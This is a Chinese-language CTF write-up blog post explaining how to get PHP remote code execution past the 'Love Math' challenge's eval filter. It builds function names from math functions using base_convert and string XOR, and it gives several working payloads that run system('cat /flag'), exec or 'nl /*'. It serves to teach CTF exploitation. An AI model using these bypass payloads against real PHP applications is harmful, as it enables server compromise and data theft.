php利用math函数rce相关思考与理解
php利用math函数rce相关思考与理解
0x00题目背景
来自2019国赛love math,以及[NESTCTF 2019]Love Math 2,两题的区别在于对payload的长度限制不同
相关过滤
长度限制
1 | $content = $_GET['c']; |
黑名单特殊字符
1 | $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; |
白名单函数(都为math函数)
1 | $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; |
php参考手册中提到,用于匹配php有效变量名,可以使用正则
[a-zA-Z_/x7f-/xff][a-zA-Z0-9_/x7f-/xff]*
因此payload中若使用变量,命名必须在白名单函数中选择,如果是数组索引也可以用纯数字(不符合变量名命名法则)
利用点
1 | eval('echo '.$content.';'); |
eval函数参数若是字符串,必须符合php代码语法,因此可以插入多行代码
0x01 利用math函数构造函数名
进制转换–获取小写字母
利用到进制转换,从11进制到36进制均有小写字母,在保证转换结果简洁及纯数字的情况下,选择36进制转10进制(36进制含a-z)
1 | //先反向 |
字符串异或–获取特殊字符及其组合
异或性质
- 结合律a ^ b ^ c = a ^ c ^ b
- 交换律a ^ b = b ^ a
- 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;
- a^b^b=a
php字符串异或分为两种情况
长度一致的字符串异或,对应字符各自转换成ascii码值异或后得到新字符,组成新字符串
1
echo "tan"^"*\/";//^=A
长度不一致的字符串异或,按最短的字符串长度按位异或
1
echo "tan"^"*";//^
异或字符串可以构造出新字符,但只用白名单的函数名的话,大多是ascii码值接近的小写字母,异或后得到的也多是ascii码值小的不可见字符,不够全面。
因此可以利用a^b^b=a
这个性质,将a看作要获取的特殊字符,b为白名单函数名异或组合,靠脚本爆破出可以通过进制转换表示的a^b
1 | //爆破脚本 |
输出结果说明
1
2
3
4 16 tanh exp //意思是" /"^tanh^exp="16"
//因此要想得到" /"只要
dechex(22)^tanh^exp //即" /"^tanh^exp^tanh^exp=" /"^0=" /"
hexdec(10)^tanh^exp//也可以注意⚠️
不能直接
16^tanh^exp
,这样的16会被当作int型数据处理,使用进制转换函数可以转成string类型,同时选取的数值转成16进制不能有字母。根据长度不一致字符串异或的运算规则,白名单中最短的是pi,因此特殊字符组合尽量不超过两个,如果一定要更长的特殊字符组合,要删除白名单中较短的函数名,不然得到的结果都是截断的,而特殊字符组合越长,白名单中可用函数名也就越少,出现纯数字结果的可能性也越低,这也是为什么这里不能直接构造
system('cat /flag' )
缺点
一旦将特殊字符改成大写字母或与下划线的组合,输出中几乎没有纯数字结果。
引入数字字符串的异或–构造下划线和大写字母组合
上面的异或结果可以归纳成特殊字符组合^白名单函数1^白名单函数2=纯数字字符串
。
因此可以合理推测纯数字字符串^白名单函数1^白名单函数2=特殊字符组合
。
纯字符串如果用dechex
的方式转换,非常浪费payload长度,可以利用字符串拼接时类型转换的特性。
1 | $i=(1).(2); |
爆破脚本
1 |
|
由于pi的存在,构造出来的组合都是两个字符,会惊喜地发现大多数为下划线和大写字母组合。
1
2 结果中 tanh^15==>ET is_nan^64==>_G
因此构造 (is_nan^(6).(4)).(tan^(1).(5)) 正是 "_G"."ET" ,即 "_GET"再根据PHP可变变量的特性
1
2 $pi=(is_nan^(6).(4)).(tan^(1).(5));//_GET
$$pi{1};//$_GET[1]{}可以代替[],这样就可以通过get传参数,缩短payload长度
$_GET[1]接收的数值会转换成字符串,因此即使拼接到了代码中也无法执行
因此需要像eval这样的函数执行字符串php代码
1 | $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;base_convert(42633,19,33)($pi{1})&1=system('cat /flag'); |
也可以利用php可变函数的特性:($a)[system]($_GET[1])
–>php会将$_GET[1]
的内容当作参数传入system函数执行。$a
只要求是个变量,在这题的背景下可以用$pi
1 | $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag |
0x02 payload缩短技巧
通过外部传参数
使用$_GET[1],索引选择最简短且符合题目要求的数字1,系统命令通过1传参,不占有payload
使用getallheaders获取请求头信息,将索引设成1,将获取header中key为1的value,再将这个结果传入exec函数,但这个payload较长,超过60字符
1
2
3
4$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//base_convert(696468,10,36) -> exec
//base_convert(8768397090111664438,10,30) -> getallheaders
//exec(getallheaders(){1})
穷举进制转换
如果要得到flag字符串,10进制转36进制需要数字为727432,有6位,而通过脚本穷举+正则匹配筛选可以发现32进制转22进制时,只需要4位数字就可以得到flag
脚本如下
1 |
|
base_convert(5648,32,22)-->'flag'
0x03 一些尝试
花括号
上面的payload几乎都使用了花括号来访问数组,如果题目过滤了花括号,那么是否可以在保证长度尽可能小的情况下,构造无花括号payload
PHP7.4不再能够使用花括号来访问数组 或者字符串的偏移.需要将{}修改成[] (本题环境为7.3.9)
无花括号payload
由于传入的是字符串,反引号不能被识别为系统命令执行,因此使用名称较短的exec函数
1 | exec('ls'); |
但是这样就不能外部传入命令来节省payload,因此要求执行的命令足够短,这里使用nl命令
linux下执行nl /*
扫描根目录,会打印根目录下所有文件,不会目录向下递归
nl [参数] [文件]
nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。
1 | aff rad2deg sin //`nl |
1 | ca abs log //nl |
用上面的穷举脚本找出最适合的进制转换exec
1 | array(1) { [0]=> string(12) "34 23 22950"} |
无花括号payload
长度:70
1 | base_convert(22950,23,34)((dechex(202)^abs^log).((1).(6).(4)^exp^tan)) |
本地php7.4以上也能成功执行(但是php8以后有个fatal error 不能使用未定义常量,直接用函数名异或的时候会识别成常量)
不过这边尝试了下带花括号的,似乎也能成功,花括号只在php8以后才被定义为Fatal error
- 标题: php利用math函数rce相关思考与理解
- 作者: Sl0th
- 创建于 : 2022-01-20 23:29:13
- 更新于 : 2024-11-11 18:23:06
- 链接: http://sl0th.top/2022/01/20/php利用math函数rce相关思考与理解/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。